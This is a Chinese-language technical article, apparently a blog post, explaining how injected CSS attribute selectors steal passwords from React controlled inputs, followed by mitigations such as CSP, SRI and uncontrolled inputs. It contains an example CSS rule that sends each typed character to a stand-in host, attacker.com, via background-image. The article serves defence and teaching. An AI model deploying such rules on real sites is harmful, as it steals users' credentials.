React 應用中的 CSS 鍵盤記錄器攻擊問題記錄

更新時間：2025年07月10日 09:41:08 作者：neon1204

React應用中CSS鍵盤記錄器攻擊利用CSS選擇器與受控組件機制竊取密碼,通過觸發(fā)字符對應的background-image請求,防御需限制第三方CSS、采用非受控組件及CSP/SRI措施,本文介紹React 應用中的 CSS 鍵盤記錄器攻擊問題記錄,感興趣的朋友一起看看吧

React 應用中的 CSS 鍵盤記錄器攻擊

該攻擊的本質是利用 CSS 屬性選擇器 結合 React 的受控組件更新機制 實現(xiàn)密碼竊?。?/p>

CSS 屬性選擇器陷阱
攻擊者注入惡意 CSS 規(guī)則，對每個可能的字符（如 a, 1, @）定義一條規(guī)則：
```
input[type="password"][value$="a"] { 
  background-image: url("http://attacker.com/a");
}
/* 其他字符規(guī)則... */
```
[value$="a"] 表示選擇 value 屬性值以 "a" 結尾的密碼輸入框。
React 受控組件的關鍵作用
攻擊僅對 React（或類 React 框架）有效，原因在于其 受控組件機制：
- 用戶每次按鍵觸發(fā) onChange 事件。
- React 更新組件狀態(tài)并將新值 同步回寫 到 <input> 的 value DOM 屬性。
- 例如輸入 "s" 時，React 會設置 <input type="password" value="s">。
竊密過程觸發(fā)
當 value 屬性被更新為以特定字符結尾時（如 "s"），對應的 CSS 規(guī)則被激活。瀏覽器嘗試加載 background-image 指定的 URL（如 http://attacker.com/s），向攻擊者服務器發(fā)送一個攜帶字符信息的 HTTP GET 請求。通過記錄字符序列，攻擊者即可還原完整密碼。

技術原理依然存在
React 受控組件的核心機制（狀態(tài)驅動視圖、同步更新 DOM 屬性）未改變。只要應用使用受控密碼輸入框且加載了惡意 CSS，攻擊理論上仍可生效。
風險來源與緩解
- 主要風險：惡意第三方 CSS/JS 庫（通過供應鏈攻擊、CDN 劫持、XSS 注入）。
- 框架演進：React 未“修復”此機制，因其本質是框架特性（非漏洞）。
- 開發(fā)者范式：對第三方資源引入更謹慎，CSP 等防護措施普及度提高。

嚴格管控第三方資源（最高優(yōu)先級）
- 內容安全策略 (CSP)：通過 style-src 指令限制 CSS 來源。
```
Content-Security-Policy: style-src 'self' https://trusted.cdn.com;
```
避免 'unsafe-inline'，防止內聯(lián)惡意樣式。
- 子資源完整性 (SRI)：對 CDN 資源添加哈希校驗，防止篡改。
```
<link  rel="external nofollow"  
      integrity="sha384-..." 
      crossorigin="anonymous" 
      rel="stylesheet">
```
- 沙箱隔離：使用 <iframe> 隔離不可信第三方內容（如廣告）。
優(yōu)化密碼輸入組件實現(xiàn)
- 非受控組件：對純密碼輸入框，使用 ref 替代 value 綁定（僅在提交時取值），避免實時更新 DOM 屬性。
```
const inputRef = useRef();
// 提交時通過 inputRef.current.value 獲取
```
- 只讀層+自定義輸入：創(chuàng)建 readOnly 輸入框，用自定義組件（如 Canvas/Div）處理輸入（適用于高安全場景）。
輔助安全措施
- 監(jiān)控異常請求（高頻短路徑請求如 /a, /b）。
- 推薦用戶使用密碼管理器自動填充，減少擊鍵次數(shù)。
- 定期檢查第三方依賴安全性。